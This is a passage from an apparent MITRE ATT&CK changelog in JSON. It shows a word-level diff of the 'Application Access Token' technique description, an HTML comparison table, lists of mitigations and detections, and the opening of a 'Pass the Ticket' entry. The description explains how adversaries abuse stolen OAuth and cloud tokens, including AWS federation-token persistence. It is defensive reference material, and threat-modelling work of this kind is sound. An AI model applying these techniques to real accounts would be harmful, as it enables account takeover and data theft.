\\\"refresh\\\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\\n \\n-Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \\u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\\n+Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\\u2019s primary email, the adversary may be able to extend access to all other services to which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured \\u2013 for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\\n \\n Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords.  For example, in AWS environments, an adversary who compromises a user\\u2019s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to24__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to24__0\"><a href=\"#difflib_chg_to24__top\">t</a></td><td class=\"diff_header\" id=\"from24_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;stolen&nbsp;application&nbsp;access&nbsp;tokens&nbsp;to&nbsp;bypa</td><td class=\"diff_next\"><a href=\"#difflib_chg_to24__top\">t</a></td><td class=\"diff_header\" id=\"to24_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;stolen&nbsp;application&nbsp;access&nbsp;tokens&nbsp;to&nbsp;bypa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;the&nbsp;typical&nbsp;authentication&nbsp;process&nbsp;and&nbsp;access&nbsp;restricted&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;the&nbsp;typical&nbsp;authentication&nbsp;process&nbsp;and&nbsp;access&nbsp;restricted&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">accounts,&nbsp;information,&nbsp;or&nbsp;services&nbsp;on&nbsp;remote&nbsp;systems.&nbsp;These&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">accounts,&nbsp;information,&nbsp;or&nbsp;services&nbsp;on&nbsp;remote&nbsp;systems.&nbsp;These&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tokens&nbsp;are&nbsp;typically&nbsp;stolen&nbsp;from&nbsp;users&nbsp;or&nbsp;services&nbsp;and&nbsp;used&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tokens&nbsp;are&nbsp;typically&nbsp;stolen&nbsp;from&nbsp;users&nbsp;or&nbsp;services&nbsp;and&nbsp;used&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;lieu&nbsp;of&nbsp;login&nbsp;credentials.&nbsp;&nbsp;Application&nbsp;access&nbsp;tokens&nbsp;are</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">in&nbsp;lieu&nbsp;of&nbsp;login&nbsp;credentials.&nbsp;&nbsp;Application&nbsp;access&nbsp;tokens&nbsp;are</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;to&nbsp;make&nbsp;authorized&nbsp;API&nbsp;requests&nbsp;on&nbsp;behalf&nbsp;of&nbsp;a&nbsp;user&nbsp;or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;used&nbsp;to&nbsp;make&nbsp;authorized&nbsp;API&nbsp;requests&nbsp;on&nbsp;behalf&nbsp;of&nbsp;a&nbsp;user&nbsp;or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;service&nbsp;and&nbsp;are&nbsp;commonly&nbsp;used&nbsp;to&nbsp;access&nbsp;resources&nbsp;in&nbsp;cloud,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;service&nbsp;and&nbsp;are&nbsp;commonly&nbsp;used&nbsp;to&nbsp;access&nbsp;resources&nbsp;in&nbsp;cloud,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;container-based&nbsp;applications,&nbsp;and&nbsp;software-as-a-service&nbsp;(Sa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;container-based&nbsp;applications,&nbsp;and&nbsp;software-as-a-service&nbsp;(Sa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aS).(Citation:&nbsp;Auth0&nbsp;-&nbsp;Why&nbsp;You&nbsp;Should&nbsp;Always&nbsp;Use&nbsp;Access&nbsp;Toke</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aS).(Citation:&nbsp;Auth0&nbsp;-&nbsp;Why&nbsp;You&nbsp;Should&nbsp;Always&nbsp;Use&nbsp;Access&nbsp;Toke</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns&nbsp;to&nbsp;Secure&nbsp;APIs&nbsp;Sept&nbsp;2019)&nbsp;&nbsp;&nbsp;OAuth&nbsp;is&nbsp;one&nbsp;commonly&nbsp;impleme</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns&nbsp;to&nbsp;Secure&nbsp;APIs&nbsp;Sept&nbsp;2019)&nbsp;&nbsp;&nbsp;OAuth&nbsp;is&nbsp;one&nbsp;commonly&nbsp;impleme</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nted&nbsp;framework&nbsp;that&nbsp;issues&nbsp;tokens&nbsp;to&nbsp;users&nbsp;for&nbsp;access&nbsp;to&nbsp;sys</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nted&nbsp;framework&nbsp;that&nbsp;issues&nbsp;tokens&nbsp;to&nbsp;users&nbsp;for&nbsp;access&nbsp;to&nbsp;sys</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tems.&nbsp;These&nbsp;frameworks&nbsp;are&nbsp;used&nbsp;collaboratively&nbsp;to&nbsp;verify&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tems.&nbsp;These&nbsp;frameworks&nbsp;are&nbsp;used&nbsp;collaboratively&nbsp;to&nbsp;verify&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;user&nbsp;and&nbsp;determine&nbsp;what&nbsp;actions&nbsp;the&nbsp;user&nbsp;is&nbsp;allowed&nbsp;to&nbsp;per</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;user&nbsp;and&nbsp;determine&nbsp;what&nbsp;actions&nbsp;the&nbsp;user&nbsp;is&nbsp;allowed&nbsp;to&nbsp;per</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">form.&nbsp;Once&nbsp;identity&nbsp;is&nbsp;established,&nbsp;the&nbsp;token&nbsp;allows&nbsp;actions</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">form.&nbsp;Once&nbsp;identity&nbsp;is&nbsp;established,&nbsp;the&nbsp;token&nbsp;allows&nbsp;actions</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;be&nbsp;authorized,&nbsp;without&nbsp;passing&nbsp;the&nbsp;actual&nbsp;credentials&nbsp;of</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;be&nbsp;authorized,&nbsp;without&nbsp;passing&nbsp;the&nbsp;actual&nbsp;credentials&nbsp;of</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;user.&nbsp;Therefore,&nbsp;compromise&nbsp;of&nbsp;the&nbsp;token&nbsp;can&nbsp;grant&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;user.&nbsp;Therefore,&nbsp;compromise&nbsp;of&nbsp;the&nbsp;token&nbsp;can&nbsp;grant&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversary&nbsp;access&nbsp;to&nbsp;resources&nbsp;of&nbsp;other&nbsp;sites&nbsp;through&nbsp;a&nbsp;malic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversary&nbsp;access&nbsp;to&nbsp;resources&nbsp;of&nbsp;other&nbsp;sites&nbsp;through&nbsp;a&nbsp;malic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ious&nbsp;application.(Citation:&nbsp;okta)&nbsp;&nbsp;For&nbsp;example,&nbsp;with&nbsp;a&nbsp;cloud</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ious&nbsp;application.(Citation:&nbsp;okta)&nbsp;&nbsp;For&nbsp;example,&nbsp;with&nbsp;a&nbsp;cloud</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-based&nbsp;email&nbsp;service,&nbsp;once&nbsp;an&nbsp;OAuth&nbsp;access&nbsp;token&nbsp;is&nbsp;granted&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">-based&nbsp;email&nbsp;service,&nbsp;once&nbsp;an&nbsp;OAuth&nbsp;access&nbsp;token&nbsp;is&nbsp;granted&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;a&nbsp;malicious&nbsp;application,&nbsp;it&nbsp;can&nbsp;potentially&nbsp;gain&nbsp;long-ter</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;a&nbsp;malicious&nbsp;application,&nbsp;it&nbsp;can&nbsp;potentially&nbsp;gain&nbsp;long-ter</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;access&nbsp;to&nbsp;features&nbsp;of&nbsp;the&nbsp;user&nbsp;account&nbsp;if&nbsp;a&nbsp;\"refresh\"&nbsp;toke</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;access&nbsp;to&nbsp;features&nbsp;of&nbsp;the&nbsp;user&nbsp;account&nbsp;if&nbsp;a&nbsp;\"refresh\"&nbsp;toke</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;enabling&nbsp;background&nbsp;access&nbsp;is&nbsp;awarded.(Citation:&nbsp;Microsoft</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;enabling&nbsp;background&nbsp;access&nbsp;is&nbsp;awarded.(Citation:&nbsp;Microsoft</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Identity&nbsp;Platform&nbsp;Access&nbsp;2019)&nbsp;With&nbsp;an&nbsp;OAuth&nbsp;access&nbsp;token&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Identity&nbsp;Platform&nbsp;Access&nbsp;2019)&nbsp;With&nbsp;an&nbsp;OAuth&nbsp;access&nbsp;token&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;adversary&nbsp;can&nbsp;use&nbsp;the&nbsp;user-granted&nbsp;REST&nbsp;API&nbsp;to&nbsp;perform&nbsp;fun</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;adversary&nbsp;can&nbsp;use&nbsp;the&nbsp;user-granted&nbsp;REST&nbsp;API&nbsp;to&nbsp;perform&nbsp;fun</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctions&nbsp;such&nbsp;as&nbsp;email&nbsp;searching&nbsp;and&nbsp;contact&nbsp;enumeration.(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctions&nbsp;such&nbsp;as&nbsp;email&nbsp;searching&nbsp;and&nbsp;contact&nbsp;enumeration.(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Staaldraad&nbsp;Phishing&nbsp;with&nbsp;OAuth&nbsp;2017)&nbsp;&nbsp;Compromised&nbsp;acce</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Staaldraad&nbsp;Phishing&nbsp;with&nbsp;OAuth&nbsp;2017)&nbsp;&nbsp;Compromised&nbsp;acce</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;tokens&nbsp;may&nbsp;be&nbsp;used&nbsp;as&nbsp;an&nbsp;initial&nbsp;step&nbsp;in&nbsp;compromising&nbsp;oth</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;tokens&nbsp;may&nbsp;be&nbsp;used&nbsp;as&nbsp;an&nbsp;initial&nbsp;step&nbsp;in&nbsp;compromising&nbsp;oth</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;services.&nbsp;For&nbsp;example,&nbsp;if&nbsp;a&nbsp;token&nbsp;grants&nbsp;access&nbsp;to&nbsp;a&nbsp;vict</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">er&nbsp;services.&nbsp;For&nbsp;example,&nbsp;if&nbsp;a&nbsp;token&nbsp;grants&nbsp;access&nbsp;to&nbsp;a&nbsp;vict</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">im\u2019s&nbsp;primary&nbsp;email,&nbsp;the&nbsp;adversary&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;extend&nbsp;acce</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">im\u2019s&nbsp;primary&nbsp;email,&nbsp;the&nbsp;adversary&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;extend&nbsp;acce</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;to&nbsp;all&nbsp;other&nbsp;services&nbsp;which&nbsp;the&nbsp;target&nbsp;subscribes&nbsp;by&nbsp;trig</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss&nbsp;to&nbsp;all&nbsp;other&nbsp;services<span class=\"diff_add\">&nbsp;to</span>&nbsp;which&nbsp;the&nbsp;target&nbsp;subscribes&nbsp;by&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gering&nbsp;forgotten&nbsp;password&nbsp;routines.&nbsp;In&nbsp;AWS&nbsp;and&nbsp;GCP&nbsp;environme</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">riggering&nbsp;forgotten&nbsp;password&nbsp;routines.&nbsp;In&nbsp;AWS&nbsp;and&nbsp;GCP&nbsp;enviro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nts,&nbsp;adversaries&nbsp;can&nbsp;trigger&nbsp;a&nbsp;request&nbsp;for&nbsp;a&nbsp;short-lived&nbsp;acc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nments,&nbsp;adversaries&nbsp;can&nbsp;trigger&nbsp;a&nbsp;request&nbsp;for&nbsp;a&nbsp;short-lived&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;token&nbsp;with&nbsp;the&nbsp;privileges&nbsp;of&nbsp;another&nbsp;user&nbsp;account.(Citat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">access&nbsp;token&nbsp;with&nbsp;the&nbsp;privileges&nbsp;of&nbsp;another&nbsp;user&nbsp;account.(Ci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;Google&nbsp;Cloud&nbsp;Service&nbsp;Account&nbsp;Credentials)(Citation:&nbsp;AWS</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tation:&nbsp;Google&nbsp;Cloud&nbsp;Service&nbsp;Account&nbsp;Credentials)(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Temporary&nbsp;Security&nbsp;Credentials)&nbsp;The&nbsp;adversary&nbsp;can&nbsp;then&nbsp;use&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">AWS&nbsp;Temporary&nbsp;Security&nbsp;Credentials)&nbsp;The&nbsp;adversary&nbsp;can&nbsp;then&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">this&nbsp;token&nbsp;to&nbsp;request&nbsp;data&nbsp;or&nbsp;perform&nbsp;actions&nbsp;the&nbsp;original&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se&nbsp;this&nbsp;token&nbsp;to&nbsp;request&nbsp;data&nbsp;or&nbsp;perform&nbsp;actions&nbsp;the&nbsp;origina</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ccount&nbsp;could&nbsp;not.&nbsp;If&nbsp;permissions&nbsp;for&nbsp;this&nbsp;feature&nbsp;are&nbsp;miscon</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;account&nbsp;could&nbsp;not.&nbsp;If&nbsp;permissions&nbsp;for&nbsp;this&nbsp;feature&nbsp;are&nbsp;mis</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">figured&nbsp;\u2013&nbsp;for&nbsp;example,&nbsp;by&nbsp;allowing&nbsp;all&nbsp;users&nbsp;to&nbsp;request&nbsp;a&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">configured&nbsp;\u2013&nbsp;for&nbsp;example,&nbsp;by&nbsp;allowing&nbsp;all&nbsp;users&nbsp;to&nbsp;request&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ken&nbsp;for&nbsp;a&nbsp;particular&nbsp;account&nbsp;-&nbsp;an&nbsp;adversary&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;g</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;token&nbsp;for&nbsp;a&nbsp;particular&nbsp;account&nbsp;-&nbsp;an&nbsp;adversary&nbsp;may&nbsp;be&nbsp;able&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ain&nbsp;initial&nbsp;access&nbsp;to&nbsp;a&nbsp;Cloud&nbsp;Account&nbsp;or&nbsp;escalate&nbsp;their&nbsp;priv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;gain&nbsp;initial&nbsp;access&nbsp;to&nbsp;a&nbsp;Cloud&nbsp;Account&nbsp;or&nbsp;escalate&nbsp;their&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ileges.(Citation:&nbsp;Rhino&nbsp;Security&nbsp;Labs&nbsp;Enumerating&nbsp;AWS&nbsp;Roles)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rivileges.(Citation:&nbsp;Rhino&nbsp;Security&nbsp;Labs&nbsp;Enumerating&nbsp;AWS&nbsp;Rol</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Direct&nbsp;API&nbsp;access&nbsp;through&nbsp;a&nbsp;token&nbsp;negates&nbsp;the&nbsp;effectivenes</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es)&nbsp;&nbsp;Direct&nbsp;API&nbsp;access&nbsp;through&nbsp;a&nbsp;token&nbsp;negates&nbsp;the&nbsp;effective</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;of&nbsp;a&nbsp;second&nbsp;authentication&nbsp;factor&nbsp;and&nbsp;may&nbsp;be&nbsp;immune&nbsp;to&nbsp;int</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ness&nbsp;of&nbsp;a&nbsp;second&nbsp;authentication&nbsp;factor&nbsp;and&nbsp;may&nbsp;be&nbsp;immune&nbsp;to&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uitive&nbsp;countermeasures&nbsp;like&nbsp;changing&nbsp;passwords.&nbsp;&nbsp;For&nbsp;example</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">intuitive&nbsp;countermeasures&nbsp;like&nbsp;changing&nbsp;passwords.&nbsp;&nbsp;For&nbsp;exam</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;in&nbsp;AWS&nbsp;environments,&nbsp;an&nbsp;adversary&nbsp;who&nbsp;compromises&nbsp;a&nbsp;user\u2019s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ple,&nbsp;in&nbsp;AWS&nbsp;environments,&nbsp;an&nbsp;adversary&nbsp;who&nbsp;compromises&nbsp;a&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;AWS&nbsp;API&nbsp;credentials&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;use&nbsp;the&nbsp;`sts:GetFederati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r\u2019s&nbsp;AWS&nbsp;API&nbsp;credentials&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;use&nbsp;the&nbsp;`sts:GetFeder</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onToken`&nbsp;API&nbsp;call&nbsp;to&nbsp;create&nbsp;a&nbsp;federated&nbsp;user&nbsp;session,&nbsp;which&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ationToken`&nbsp;API&nbsp;call&nbsp;to&nbsp;create&nbsp;a&nbsp;federated&nbsp;user&nbsp;session,&nbsp;whi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">will&nbsp;have&nbsp;the&nbsp;same&nbsp;permissions&nbsp;as&nbsp;the&nbsp;original&nbsp;user&nbsp;but&nbsp;may&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;will&nbsp;have&nbsp;the&nbsp;same&nbsp;permissions&nbsp;as&nbsp;the&nbsp;original&nbsp;user&nbsp;but&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">persist&nbsp;even&nbsp;if&nbsp;the&nbsp;original&nbsp;user&nbsp;credentials&nbsp;are&nbsp;deactivate</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;persist&nbsp;even&nbsp;if&nbsp;the&nbsp;original&nbsp;user&nbsp;credentials&nbsp;are&nbsp;deactiv</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d.(Citation:&nbsp;Crowdstrike&nbsp;AWS&nbsp;User&nbsp;Federation&nbsp;Persistence)&nbsp;Ad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ated.(Citation:&nbsp;Crowdstrike&nbsp;AWS&nbsp;User&nbsp;Federation&nbsp;Persistence)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ditionally,&nbsp;access&nbsp;abuse&nbsp;over&nbsp;an&nbsp;API&nbsp;channel&nbsp;can&nbsp;be&nbsp;difficul</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Additionally,&nbsp;access&nbsp;abuse&nbsp;over&nbsp;an&nbsp;API&nbsp;channel&nbsp;can&nbsp;be&nbsp;diffi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;to&nbsp;detect&nbsp;even&nbsp;from&nbsp;the&nbsp;service&nbsp;provider&nbsp;end,&nbsp;as&nbsp;the&nbsp;acces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cult&nbsp;to&nbsp;detect&nbsp;even&nbsp;from&nbsp;the&nbsp;service&nbsp;provider&nbsp;end,&nbsp;as&nbsp;the&nbsp;ac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;can&nbsp;still&nbsp;align&nbsp;well&nbsp;with&nbsp;a&nbsp;legitimate&nbsp;workflow.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cess&nbsp;can&nbsp;still&nbsp;align&nbsp;well&nbsp;with&nbsp;a&nbsp;legitimate&nbsp;workflow.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1013: Application Developer Guidance",
                            "M1021: Restrict Web-Based Content",
                            "M1036: Account Use Policies",
                            "M1041: Encrypt Sensitive Information",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0185: Behavioral Detection Strategy for Use Alternate Authentication Material: Application Access Token (T1550.001)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-30 17:03:43.072000+00:00",
                    "modified": "2026-11-03 23:23:29.066000+00:00",
                    "name": "Pass the Ticket",
